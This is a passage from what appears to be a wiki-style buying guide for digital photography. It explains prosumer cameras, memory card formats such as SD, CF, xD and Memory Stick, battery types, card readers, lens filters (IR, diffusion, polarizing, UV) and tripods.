 * 'Prosumer' is a term coined by the media and picked up by the industry to describe cameras that are professional in quality but yet sold at consumer prices. It can also be used to describe users of said cameras.

 * As such, Prosumer cameras can be either High-end Consumer cameras, or Digital SLR. The key distinguishing factor is high quality at a low price band, and not so much the type of camera.

 * As a practical example, Nikon's D70, a Digital SLR, is generally talked of as a prosumer camera model, and/ or as an entry-level Digital SLR. At the same time, Nikon's recent addition to their Coolpix series are largely SLR-like cameras which are also considered prosumer due to their quality.

 * In recent years, as the technology in digital photography progressed and matured, Nikon in particular has been pushing more models into the prosumer market. In a similar vein, Canon has also been pushing their digital camera models in this direction in direct competition. Other manufacturers like Sony and Fujifilm are pushing more towards the Point-and-Shoot market, with more emphasis on form-factor and ease-of-use rather than on pushing the capability of their cameras.

 * As such, while more prosumer cameras are on the market, these are largely from very well established manufacturers that has extensive experience in camera manufacturing. At the same time, a slew of Point-and-Shoot cameras are coming on the market, some from companies which have very little experience in this industry.

Memory Cards
Nearly all digital cameras have an SD-Slot and many newer cameras can use the SDHC-Cards up to 32GB. So the memory card type should not be the deciding factor when purchasing a camera. However, if you have other digital devices that use memory cards like an Smartphone, then this may factor into your decision, because not only will this allow you to save some the cost of duplicate sets of cards, but it may allow you directly view the photographs on your Smartphone.

That being said, here is a list of the most popular memory card formats:

Secure Digital (SDHC) are widely available in a wide range of sizes (up to 32GB) and are cheaper than CompactFlash (CF). Because of their smaller size, they are available in many cameras from entry-level up to DSLR-Cameras. There is also newer SDXC standard that allows for up to 2TB capacity, many newer devices since 2010 do support these cards.

There is also older SD standard that allows for up to 2GB capacity, which is supported by many older devices. SDHC and SDHC devices are backward compatible and SD(HC/XC) cards are forward compatible.

CompactFlash (CF) cards are widely available in a wide range of sizes (up to 32GB) and are cheaper per megabyte than other standard media. Most prosumer cameras now use CF. CF cards come in two varieties:
 * CF Type I - 3.3 mm thick. Cameras designed for CF Type I can't use CF Type II.
 * CF Type II - 5 mm thick. Cameras which use CF Type II also can use CF Type I.  Some manufacturers are selling Microdrives (mini hard drives) packaged in the CF II format.  If your camera supports the CF Type II format it may also support the Microdrive.

Multi Media Card (MMC) are similar to SD card from outside, but not compatible with SD cards.

xD-picture Card (xD) are developed by Fuji and Olympus. They are very compact in size, but usually about two times more expensive than CF or SD cards.

Memory Stick (MS) are used by most Sony cameras, and only by Sony Cameras. Most of MS cards are produced by Sony (the only other manufacturers are SanDisk and Lexar) this factor influence rather high prices of MS cards Memory Stick Duo (MS Duo) variant which is smaller in size, and can be used with regular MS card cameras via adapter.

When buying a digital camera the safe bet is to choose camera which can use CompactFlash, SDXC or SDHC cards. Some cameras can use two different types of cards (e.g. Olypus E-5 and Canon EOS 1D Mark IV can use CompactFlash and Secure Digital cards).

Battery Life
Digital compact cameras with no optical viewfinder need much more power than other cameras, because the LCD display is the largest power consumer.

Nearly all digital cameras come with rechargeable Li-ion batteries. Some DSLR cameras like the Pentax K-x use standard Mignon batteries and the most DSLR cameras can be attached to a battery grip, which can hold multiple batteries.

Non-rechargeable batteries refer to the common batteries cells, commonly available in a variety of sizes. Non-rechargeable batteries are not recommended, because most batteries (or cells) are designed to discharge gradually over time; digital cameras draw power in bursts, which quickly exhausts ordinary batteries. There are batteries designed specifically for digital camera usage, but these tend to be expensive.

Rechargeable batteries have one additional advantage, and that's universal compatibility. You can go to pretty much any country and recharge them with a universal charger supporting 110-230V.

Card Readers
Most cameras come with a USB connection which you use to transfer digital images from the camera to your computer. If you are lucky, both your computer and your camera use the USB 2 specification. Some older cameras use the slower USB 1 specification, or slower yet, your computer's COM port to transfer images. A device that can speed things up is a USB card reader, which can be purchased at an electronics store, usually for less than the price of one memory card alone. Most card readers support more than one card type; just make sure it supports the card type you use. When you wish to transfer the images from the card to the computer, connect the card reader to your computer, pop the card into the card reader, and copy the images from the card to the computer by using file drag and drop.

Many laptop and netbook computers made by Dell, Acer, Asus, and other manufacturers now have built-in card readers. Some support only SD cards, while others support a wider variety. These small card readers seldom support CompactFlash, due to that card's large size and the fact that CF cards can be read using an inexpensive PC card adapter.

Lens Filters
Among the first accessories a serious photographer considers is lens filters. There are many filters available for DSLR lenses, less so for fixed lens cameras. Lens filters have a threaded mount that screws onto the front of a lens. They work by modifying the light before it passes through the lens for a wide range of interesting and useful effects.

When you buy a lens filter you need to buy the correct size for your lens size. Look for the a number on the front of your lens, some common lens sizes are 52mm and 55mm. Many camera shops carry the more common sizes. If yours does not, you may want to contact the manufacturer of your lens if you have a DSLR, or of your camera if you have a fixed lens camera.

A word of caution applies to using colored lens filters with digital photography. Colored (e.g. orange, red and blue) filters work by limiting the light of a given color passing through the lens; using a blue filter compensates for a yellowish cast; using an orange filter compensates for a bluish cast. These are used mainly with film photography for color balance, but since almost all digital cameras have an automatic white balance, the effect of a colored filter will not be the same as with film. In addition some new prosumer cameras have built in filter effects so using an additional colored filter would never be necessary.

Some common and interesting lens filters are:

Infrared Filter or IR Filter. This filter reduces visible light and allows IR light to pass through the lens; the filter itself appears black or reddish-black. Infrared images can appear ghostly or other-worldly simply because Infrared radiates and reflects off objects differently than does visible light.

''Diffusion Filter. ''A diffusion filter is a translucent photographic filter used for a special effect. When used in front of the camera lens, a diffusion filter softens subjects and generates a dreamy haze. This can also be improvised by smearing petroleum jelly on a UV filter or shooting through a nylon stocking. Diffusion filters may be uniform or may have a clear center area to create a vignette of diffused area around the clear center subject.

Diffusion filters are also used in stage lighting (and likewise in photography setups), where they may also be called diffusion gel, or just diffusion. This is a reference to color gel, which is another type of lighting gel. Diffusion gels soften the light in order to reduce or diffuse shadows or glare.

Silk sheets can also be used in this manner, and in fact were until the invention of translucent plastics. "Opal" is a common translucent or opalescent diffusion.

Polarizing Filter. This filter is made of polarizing glass that rotates freely in a circular ring. A polarizing filter cuts down on reflected light from some angles while allowing light from other angles to pass through the filter. The effect of a polarizing filter is to darken either the sky or reflections off leaves or water depending on the position of the filter. The effect can be quite pronounced and appealing. For more information on how polarizing filters work, see Polarization

UV Filter. This filter cuts down on UV rays that can make your photograph appear hazy or excessively bluish on bright days. UV filters come in a range of strengths. TIP: To protect the front element of that expensive lens you've purchased, get a mild-strength UV filter and screw it onto the lens. The cost of the filter is very small in comparison to the cost of the lens and having the filter always in place can protect the front lens element with the added benefit of reducing haze whenever you use the lens. Note: There is considerable controversy on the actual protection a filter supplies to a lens in the event that it dropped. Shards of glass can be very damaging to the surface of the lens. Many will argue that a lens hood will provide significantly more protection to the front element of a lens AND help reduce the effects of flare and loss of contrast from strong side lights (to which filters are prone).

Tripods
Tripods are three legged devices used to support a camera to provide stability and greatly improve the quality of photographs. A single-legged tool that serves the same function is referred to as a monopod. Because a tripod can remove almost all camera motion, the quality of a tripod is almost as important as the quality of the lens. The cost of a tripod can vary by an amazing amount. Flimsy tripods are less stable, durable, flexible, and may even be heavier than a high-quality tripod.

Tripod substitutes:
 * monopod
 * beanbag